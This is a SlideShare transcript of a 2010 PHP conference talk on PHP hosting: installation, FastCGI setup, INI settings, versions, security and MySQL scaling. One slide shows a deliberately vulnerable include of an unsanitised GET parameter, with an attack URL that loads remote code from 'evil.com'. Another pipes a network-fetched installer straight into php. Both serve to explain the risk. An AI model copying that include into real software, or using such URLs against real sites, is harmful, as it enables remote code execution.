Php through the eyes of a hoster: PHPNW10

2,741 views

Published on

Php through the eyes of a hoster: slides for PHP North West 2010 Conference @ Manchester UK

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,741
On SlideShare
0
From Embeds
0
Number of Embeds
53
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide








  • 5 minuten








  • 10 minuten

















  • 20 minuten









  • 25 minuten


















  • 35 minuten







  • 40 minuten

  • Php through the eyes of a hoster: PHPNW10

    1. 1. PHP
through
the
eyes
of
a
hoster Thijs
Feryn Support
manager +32
(0)9
218
79
06 thijs@combellgroup.com PHP
North
West
Conference Sunday
October
10th
2010 Manchester
UK
    2. 2. About
me I’m
the
support
manager
at
Combell
    3. 3. About
me I’m
a
board
member
at
PHPBenelux
    4. 4. About
me Modest
contribuTons
to:
    5. 5. I
live
in
the
wonderful
city
of
Bruges MPBecker
‐
Bruges
by
Night
hXp://www.flickr.com/photos/galverson2/3715965933
    6. 6. Follow
me
on
TwiXer:
@ThijsFeryn Rate
my
talk:
hXp://joind.in/2064 Read
my
blog:
hXp://blog.feryn.eu
    7. 7. Chapter
I
:
The
hoster,
a
genuine
stakeholder
in
the
 PHP
universe
    8. 8. Stakeholders Customer Development
company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultants Hoster PHP
community
    9. 9. Stakeholders Somewhere
along
the
road
... Your
app
needs
to
be
hosted
    10. 10. Goals
&
moTves Our
goals
&
moTves
are
the
same
as
yours: • It
has
to
work • It
has
to
perform • It
has
to
scale • It
has
to
be
secure • It
has
to
be
available
    11. 11. Chapter
II:
InstallaTon
&
configuraTon
    12. 12. Installing
from
source server$
./configure
‐‐prefix=/usr/local/php‐5.2.10
 ‐‐with‐apxs2=/usr/local/httpd‐2.2.12/bin/apxs
‐‐ with‐zlib
‐‐with‐curl
‐‐with‐gd
‐‐enable‐mbstring
 ‐‐with‐mysql
‐‐with‐mysqli
‐‐enable‐pcntl
‐‐with‐ pdo‐mysql
‐‐with‐readline
‐‐enable‐soap
‐‐with‐xsl
 ‐‐with‐mcrypt
‐‐with‐mssql
‐‐with‐snmp
‐‐with‐imap
 ‐‐with‐kerberos
‐‐with‐imap‐ssl
‐‐with‐config‐ file‐path=/etc/php5/
‐‐enable‐sockets
‐‐with‐ freetype‐dir
‐‐with‐openssl
 server$
make server$
make
install
    13. 13. Installing
using
a
package
manager
(APT/ApTtude) Install
PHP: server$
apt‐get
install
php5 Install
MySQL
library
for
PHP: server$
apt‐get
install
php5‐mysql
    14. 14. SAPI
...
schmapi Mod_php FastCGI CLI Web Apache
module gateway ‐ Process Apache
process php‐cgi php ConfiguraTon Apache
conf
files wrapper on
the
fly shell
user
or
 User Apache
user shell
user suexec
user
    15. 15. FastCGI Example
config: • Apache
handler 

<IfModule
mod_fcgid.c> 



SuexecUserGroup
dev
dev 



PHP_Fix_Pathinfo_Enable
1 



<Directory
/var/www/dev/www/> 





Options
+ExecCGI 





AllowOverride
All 





AddHandler
fcgid‐script
.php 





FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php 





Order
allow,deny 





Allow
from
all 



</Directory> 

</IfModule>
    16. 16. FastCGI Example
config: • Wrapper
script #!/bin/sh PHPRC=/usr/local/php‐5.3.1/etc export
PHPRC export
PHP_FCGI_MAX_REQUESTS=5000 export
PHP_FCGI_CHILDREN=8 exec
/usr/local/php‐5.3.1/bin/php‐cgi
    17. 17. INI
seings:
tales
of
good
&
evil
    18. 18. INI
seings:
tales
of
good
&
evil Defining
INI
seings: • Php.ini • Ini_set() • “‐d”
 • php_value • php_flag • php_admin_value • php_admin_flag
    19. 19. INI
seings:
tales
of
good
&
evil Memory_limit: Fatal
error:
Allowed
memory
size
of
16777216
 bytes
exhausted
(tried
to
allocate
35
bytes)
    20. 20. INI
seings:
tales
of
good
&
evil Safe_mode
&
Open_basedir: <IfModule
mod_php5.c> 



php_admin_flag
engine
on 



php_admin_flag
safe_mode
off 



php_admin_value
open_basedir
"/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
    21. 21. INI
seings:
tales
of
good
&
evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
    22. 22. Chapter
III:
Versions
&
features
    23. 23. PHP
4:
End
of
life,
but
far
from
dead
    24. 24. PHP
4:
End
of
life,
but
far
from
dead Parse
error:
syntax
error,
unexpected
T_STRING,
 expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR
 or
'}'
in
test.php
on
line
4
    25. 25. Developers
love
bling
bling
    26. 26. It
HAS
to
be
PHP
5.3.2
!!!
    27. 27. I
need
ALL
PHP
extension
!!!
    28. 28. I
use
ALL
PHP
features
!!!
    29. 29. Fruit
&
vegetables:
PEAR
&
PECL
    30. 30. Fruit
&
vegetables:
PEAR
&
PECL PEAR PHP
Extension
and
ApplicaTon
Repository
(h#p//pear.php.net) server$
lynx
‐source
http://pear.php.net/go‐pear
|
php server$
pear
install
date
    31. 31. Fruit
&
vegetables:
PEAR
&
PECL PECL
(pickle) PHP
Extension
Community
Library
(h#p//pecl.php.net) server$
pecl
install
pecl_http
    32. 32. External
frameworks Popular
frameworks
outside
the
PHP
project
    33. 33. Chapter
IV:
PHP
aXracts
a
crowd
    34. 34. It’s
easy
!
    35. 35. That
easy
! <?php echo "Hello world!";
    36. 36. It’s
cheap
!
    37. 37. It’s
stable
!
    38. 38. Everyone
can
be
a
PHP
developer
    39. 39. But
not
everyone
has
what
it
takes
    40. 40. Luckily
there’s
a
lot
ready‐to‐use
PHP
sooware
out
there
    41. 41. Who
you
gonna
call
?
    42. 42. But
when
helpers
need
help
...
    43. 43. They
reach
out
to
the
PHP
community User
Group
meeTngs TwiXer Blogs Forums PHP.net IRC Conferences
    44. 44. Chapter
V:
Here
be
phpirates
    45. 45. Here
be
phpirates
    46. 46. Fact “The
majority
of
hacking/absue
cases
are
PHP
related”
    47. 47. False
assumpTons “Open
source
is
evil” “PHP
has
lots
of
security
vulnerabiliTes
and
is
not
mature”
    48. 48. Here
be
phpirates The
real
issues • Quality
of
the
code • Network
&
server
security • PHP
version
&
configuraTon
    49. 49. ResponsibiliTes
    50. 50. Chapter
VI:
Scalability
    51. 51. Performance
==
speed
    52. 52. Scalability
==
constant
speed
under
increasing
load
    53. 53. Scaling
up
    54. 54. Scaling
out
    55. 55. Developers
(some2mes)
forget
...
    56. 56. Scaling
MySQL
    57. 57. mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=
 table1.id)
FROM
table1
WHERE
field2
=
1

ORDER
BY
field4
DESC
limit
 12,12; ***************************
1.
row
*************************** 










id:
1 

select_type:
PRIMARY 







table:
table1 








type:
ALL possible_keys:
approved 









key:
approved 





key_len:
NULL 









ref:
NULL 








rows:
3143 







Extra:
Using
where;
Using
filesort ***************************
2.
row
*************************** 










id:
2 

select_type:
DEPENDENT
SUBQUERY 







table:
table2 








type:
ALL possible_keys:
NULL 









key:
NULL 





key_len:
NULL 









ref:
NULL 








rows:
1005 







Extra:
Using
where
    58. 58. mysql>
show
processlist; +‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ |
Id



|
User
|
Host





|
db
|
Command
|
Time
|
State















|
Info



 | +‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ |
63515
|
root
|
localhost
|
db
|
Query


|



0
|
NULL
















|
show
 processlist































| |
81763
|
root
|
localhost
|
db
|
Sleep


|

105
|





















|
NULL



 | |
85187
|
root
|
localhost
|
db
|
Query


|



0
|
Sending
data








|
SELECT
 data
from
someTable
where
field
=
'val'

| |
82701
|
root
|
localhost
|
db
|
Query


|



0
|
Copying
to
tmp
table
|
SELECT
 data
from
someTable
where
field='val2'


| |
82709
|
root
|
localhost
|
db
|
Query


|



0
|
Sorting
result






|
SELECT
 data
from
someTable
where
order
by
field
| |
82716
|
root
|
localhost
|
db
|
Query


|



0
|
Opening
tables






|
SELECT
 data
from
someOtherTable
















| +‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
    59. 59. Scaling
MySQL
with
replicaTon
    60. 60. PHP
scalability
toolbox
    61. 61. Memcached
    62. 62. Gearman
    63. 63. Varnish
    64. 64. Summary
    65. 65. Summary 1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe 2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent
 setup 3.PHP
has
a
lot
to
offer
feature‐wise 4.PHP
aXracts
a
crowd
and
brings
a
lot
of
people
together
from
 different
industries
(e.g.
hosters) 5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP
 itself 6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure
 scalability
via
extra
tools
    66. 66. Q&A

    ×